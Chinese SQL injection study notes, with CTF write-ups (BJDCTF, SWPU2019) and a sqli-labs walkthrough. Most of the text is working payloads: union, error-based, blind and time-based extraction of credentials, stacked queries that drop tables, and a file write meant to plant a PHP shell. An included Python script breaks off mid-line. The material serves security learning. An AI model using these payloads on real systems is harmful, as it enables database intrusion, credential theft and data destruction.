SQL注入学习记录一

前置知识:

1.mysql数据库的一些基本使用:增删改查

2.python脚本的使用

3.了解php中常见的与mysql相关的函数和类

0x01:数据库基础

1.基础操作

查看库名:
mysql> show databases;
创建库:
mysql> creat database test;
删除库:
mysql> drop database test;
使用库:
mysql> user test
创建表:
mysql> create table test(
-> `id` int(11),
-> `name` varchar(255)
->);

表的一些基本操作:

1.insert(增
	insert into test values('1','yer');
2.delete(删
	delete from test where xxxx;
3.update(改
	update test set name='x' where id = 1;
4.select(查
	select * from test;
	# * 实现输出所有字段

2.常用的变量、符号、函数

常用变量:
database() //查看当前数据名
user() //用户
version() //mysql版本
@@basedir //安装路径
逻辑运算符
1.& and
2.|| or
3.^ xor
常用函数
1.字符串截取:
substr(database(),1,1) //从1位置开始截取长度为1  substring
mid(database(),1,1)
left(database(),1) //左边开始截取长度为1
right(database(),1)
2.编码函数
ascii()
hex()
char()
3.文件函数
load_file //读取文件内容
0x02:闭合

1.闭合

如果语句中有多余的和单引号或者其他符号就会报错,所有要进行闭合

常见注释符:

%23(#)
--+
;%00  //利用00截断
`
or '1'='1

ban了注释符和单引号

使用反斜杠进行转义
0x03:常见注入方法

1.联合查询注入

基本要求:
1.查询列数必须一致
2.查询语句的查询的各列类型、顺序最好一致

步骤:
1.闭合
2.判断字段数
3.判断结果输出位置
4.爆库、爆表、爆列
#order by:如果后面接的是整形的话,根据第几个字段进行排序
#union:合并结果
#information_schema数据库中,table表提供关于数据库中表的信息,columns表提供表中列信息

利用sqlilabs进行试验

查询字段数:
order by 4
查询结果输出位置:
union select 1,2,3
爆库:
union select 1,2,database()
爆表:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆列:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=''

2.报错注入

在没法用联合查询时使用,报错注入就是利用了数据库的某些机制,人为的制造错误条件,使得查询结果能够出现在错误信息中

原理:

路径写入其他格式,就会报错并且会返回我们写入非法格式内容,我们可以利用这个得到我们想得到的内容
tips:
报错注入有长度限制,不同的函数限制不一样

常用函数:

1.updatexml:更新xml文档的函数
2.extractvalue:对xml文档进行查询的函数

//updatexml的最大长度是32位的,所以有所局限,如果密码长度超过了32位就不会被显示出来,可以用right函数

常用语句:

updatexml(1,concat(0x7e,database(),0x7e),1)
//之后修改中间concat的语句即可

3.盲注

根据sqlilabs进行学习

只有两种回显(永真 永假)的时候,为布尔盲注

步骤:
1.闭合
2.找到永真和永假的两种情况
3.利用这两种情况进行对数据进行一位一位的获取

涉及函数:
substr
ascii

语句:

and ascii(substr(database(),1,1))>1

通过时间差导致的两种不同的回显的注入,为时间盲注

时间盲注中可以使用if表达式和sleep函数
//if(expr1,1,sleep(5))
//如果expr1为true则搜索1,反之则触发sleep实现延时差
1.sleep
2.benchmarkdui
3.笛卡尔积

爆破还可以利用python脚本

4.堆叠注入

mysql

1' ;show tables# (查看表)
1' ;create table test like users#(创建新表)
1' ;drop table test#(删除新创建的表)
1' ;select 1,2,3#(查询数据)
1' ;select load_file('c:/tmpupbbn.php')#(加载文件)
1' ;insert into users(id,username,password)
values('100','new','new')#(修改数据)
1' ;rename tables 

利用 HANDLER 读取数据

1';handler ` ` open;handler ` ` read first;handler ` ` close;#
0x04:文件读写

可以将数据库中的数据写入文件中

条件:

1.设置security-file-priv为Null
2.设置路径
3.文件不存在
4.有权限

文件读取函数:

load_file('文件绝对路径')

写文件函数:

into outfile
into dumpfile
//区别在于,因为into outfile函数会在行末端写入新行更致命的是会转义换行符,所有如果是利用mydql写一些dll或者其他二进制可执行文件,那么这个文件可能会被破坏,这时候我们用into dumpfile就能导出一个完整能执行的二进制文件

写文件–>写shell

读文件—DNSLOG外带

DNSLOG
SQL注入学习记录一_第1张图片


前置知识:

1.UNC路径:

(只存在于windows中

unc路径就是类似\\softer这样的形式的网络路径
格式:\\servername\sharename 其中servername是服务器名,sharename是共享资源的名称

条件:

1.设置security-file-priv为null
2.目标为windows

学习资料:

https://www.anquanke.con/post/id/205376

[BJDCTF 2nd]简单注入

布尔盲注

0x01:打开场景
SQL注入学习记录一_第2张图片
访问robots.txt发现有hint.txt
在这里插入图片描述
所有可以知道注入点是password,并且要闭合单引号
而在简单尝试之后发现单引号和很多关键词(如 select)被ban掉了
所有可以判断是盲注
但单引号被ban了的话,那有可能就是整数型注入

0x02:解题
可以让:
username=admin\&password=or 1#
以为sql语句为:
select * ffrom users where username=' ' and password= ' ';
这样的话\反引号会将后面的单引号进行转义,使得语句变成username=' and password=' '就会出现注入点

username=admin\&password=or 1#

出现了新的回显
在这里插入图片描述
即布尔盲注

1.脚本爆破
还不会写脚本 只能用师傅们的脚本了

import requests
import time
session = requests.Session()
def main():
    name=''
    for i in range(20):
        left=32
        right=128
        tmp=(right+left)//2
        while left

用admin登录得到flag

2.bp手注
核心注入语句:

ascii(substr(password,1,1))>32#

经过测试之后得到永真和永假回显
永真:
在这里插入图片描述
永假:
在这里插入图片描述
之后就是一位一位地进行测试得到password

username=admin\&password=or ascii(substr((password),1,1))>80 #    //假
username=admin\&password=or ascii(substr((password),1,1))<80 #    //真
username=admin\&password=or ascii(substr((password),1,1))>55 #    //真
username=admin\&password=or ascii(substr((password),1,1))>67 #    //真
username=admin\&password=or ascii(substr((password),1,1))>73 #    //真
username=admin\&password=or ascii(substr((password),1,1))>79 #    //假
username=admin\&password=or ascii(substr((password),1,1))<79 #    //真

所有首位ascii码值为79是O,其他的类似,太长了,就不一一写出来了

参考

https://blog.csdn.net/stevenonesir/article/details/111697089
https://blog.csdn.net/qq_41628669/article/details/106133127

[SWPU2019]Web1

MariaDB
二次注入
无列名注入

0x01:打开场景
是一个登陆界面,但并没有什么阻碍,直接注册并登录就行了,登录进去之后有广告申请
SQL注入学习记录一_第3张图片
由于内容有字数限制,所有注入点应该在广告名上

0x02:解题
空格被过滤了可以用/**/代替
1)先爆破列数
or也被过滤了,所以不能用order by,可以用group by

1' /**/ group /**/ by /**/ 1,'1

发现有22列
SQL注入学习记录一_第4张图片
2)查找数据显示位置

-1' /**/ union /**/ select /**/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述
3)爆破数据
已知or被过滤了,因此information_schema也不能使用,而在查询版本的时候发现这个是用的是MariaDB
mysql.innodb_table_stats
可以知道MariaDB中mysql.innodb_table_stats可以代替information_schema

爆表
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

SQL注入学习记录一_第5张图片
之后用到了无列名注入
SQLi Extracting data without knowing columns names

payload:

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

参考:

https://www.anquanke.com/post/id/193512
https://blog.csdn.net/weixin_43900387/article/details/103534108
https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/
https://www.jianshu.com/p/dc9af4ca2d06

SQLILABS

  • 把复现的题目和以前写的wp一起放上来了

Less-1

输入1 和 2-1 之后发现两个回显不相同 所以是字符型注入

尝试添加’注入,发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里我们就可以直接发现报错的地方,直接将后面注释,然后使用

1' order by 3%23 //得到列数为3

//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'# //得到表名

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'# //得到列名

-1' union select 1,username,password from users where id=3# //爆破得到数据

Less-2

在添加’之后,得到返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如

select * from users where id=1

所以我们也可以跟上面一样,payloads:

-1 or 1=1%23

Less-3

添加’之后,返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可以得到大概的sql语句:

select * from users where id=('input') LIMIT 0,1;

所以我们可以需要闭合)。

-1') or 1=1%23

Less-4

尝试’并未发现报错,尝试”发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

可以得到大概的sql语句

select * from users where id = ("input") LIMIT 0,1;

所以payload:

-1") or 1=1 %23

其他注入语句同上 ,就不再一一列举了。

Less-5

尝试’发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

猜测sql语句为

select * from users where id='input' LIMIT 0,1;

如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in...,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。

使用left()

例如我们可以使用1' and left(version(),1)=3%23这个payload进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...,否则不返回。所以我们可以利用这个一步一步爆破得到left(version(),1)=5。爆破区间可以确定在/[0-9.]/

采用1'and length(database())=8%23对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()来进行爆破数据库名,采用left(database(),1)>'a'这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。

使用substr()、ascii()

也可以采用substr()、ascii()函数进行尝试:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 
//截取数据库下第一个表的第一个字符与80ascii值进行对比

找第二个字符只需要改成substr('xxx',2,1)即可。
找第二个表改成limit 1,1

使用regexp()

1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23
//users表中的列名是否有us**的列

使用ord()、mid()

1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23
//cast(username AS CHAR)将username转换成字符串
//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。
//ord前文提过

使用报错注入

推荐一篇超详细的讲解报错注入的文章

Mysql报错注入原理分析(count()、rand()、group by)

超链接:https://www.cnblogs.com/xdans/p/5412468.html

1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x#

1' union select (!(select * from (select user())x) - ~0),2,3 --+

1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

使用延时注入

benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

数据爆破

?id=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

Less-6

没有回显,可以使用布尔盲注

1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

可以发现>100有回显,小于就没有,也可以用报错注入…

这里就是把Less-5 中的'改成"就行了

报错注入:

0x01:报错数据库

1" and (select 1 from(select count(*),concat(floor(rand(0)*2),(select(select schema_name) from information_schema.schemata limit 0,1),0x7e)x from information_schema.tables group by x)a)%23

0x02:报错表

1" and (select 1 from(select count(*),concat(floor(rand(0)*2),(select(select table_name) from information_schema.tables where table_schema='ctftraining' limit 0,1),0x7e)x from information_schema.tables group by x)a)%23

0x03:报错列

1" and (select 1 from(select count(*),concat(floor(rand(0)*2),(select (select column_name) from information_schema.columns where table_schema='ctftraining' and table_name='users' limit 0,1),0x7e)x from information_schema.tables group by x)a)%23

0x04:报数据

1" and (select 1 from (select count(*),concat(floor(rand(0)*2),(select (select(select concat('username',0x7e,'password',0x7e) from ctftraining.users limit 0,1)) from information_schema.tables limit 0,1),0x7e)x from information_schema.tables group by x)a)%23

Less-7

使用文件导出

1'))UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqlli b\\Less-7\\uuu.txt"%23

1'))UNION SELECT 1,2,'' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+

关于mysql修改文件权限

查看:

show variables like '%secure%';

修改mysql文件夹里面的my.ini 在第二个default下面添加:

secure_file_priv="/"

之后重启mysql

Less-8

可以使用时间盲注,也可以用 bool 盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-9

同 Less-8 可以使用时间盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-10

1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

Less-11

基于错误的post型单引号字符型注入

登录界面注入,万能注入语句:

1'or 1=1#

-1' order by 2#

-1' union select 1,database()#

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

-1' union select username,password from users where id=2#
//爆数据
1' union select null,group_concat(concat_ws(0x7e,username,password)) from security.users#

Less-12

1") or 1=1#

Less-13

盲注

*和第五题类似

select length(database())
if(length(database())=8,sleep(6),1)

SQL注入学习记录一_第6张图片
SQL注入学习记录一_第7张图片
两个回显
db:

security/ctftraining

tables:

emails/referer/uagents/users

users-columns:

user/current_con/total/id/username/password

猜解库:
1') or if(length(database())=8,1,sleep(5))#
1') or left(database(),1)>='m'#
猜解表:
1') or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>='a'#
猜解列:
1') or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>='a'#

1') or ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),8,1))>120#

1') or substr((select column_name from information_schema.columns where table_name='users' limit 1,1),8,1)>'a'#
1') union select count(*),concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a#
报错注入:
1') union select count(*),concat(0x7e,(select database() ),0x7e ,floor(rand(0) *2 ) ) as a from information_schema.tables group by a#
1') union select count(*), concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a#
//通过改变'limit 1,1)' 查找各种表
1') union select count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a#
1') union select count(*),concat(0x7e,(select concat_ws('0x7e',password,0x7e,username) from users limit 1,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a#

Less-14

盲注
和13一样

1" or 1=1#

Less-15

1' or 1=1#
1' or ascii(substr(database(),1,1))=115#

Less-16

1") or 1=1#
1") or ascii(substr(database(),1,1))=115#

Less-17

username被过滤 password处注入

1' or 1=1#
//猜解库
1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit
//猜解表(但只有一个
1' and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))#&sub mit=Submit 
updatexml函数。

(·)。updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target :原来的xml,也就是要替换的目标;
(·)。xpath_expr :xpath的表达式;
(·)。new_xml :替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。

' or updatexml(1,concat('#',(Clause。。)),1)#
//猜解库
1' or updatexml(1,concat('#',(select database())),1)#
//猜解表
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#&sub mit=Submit
//猜解字段
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
//爆数据
' or updatexml(1,concat('~',(select * from (select concat_ws(' ',id,username,password) from users limit 0,1) a)),1)#

Less-18

在useragent注入

//三个1是插入三个数据
1' ,1,1)#
//有返回:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')#', '172.16.170.85', 'admin')' at line 1
//猜解库
1',1,updatexml(1,concat(0x3a,database(),0x3a),1))#
//猜解表
1',1,updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x3a),1))#
//猜解字段
1',1,updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1),0x3a),1))#
//爆数据
1' ,1,updatexml(1,concat(0x3a,(select concat_ws(' ',id,username,password) from users limit 0,1),0x3a),1))#

Less-19

在referer注入

1'

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '172.16.170.85')' at line 1
//猜解库
1' and updatexml(1,concat(0x3a,database(),0x3a),1))#
//猜解表
1',updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x3a),1))#
//接下来和18一样

你可能感兴趣的:(刷题记录)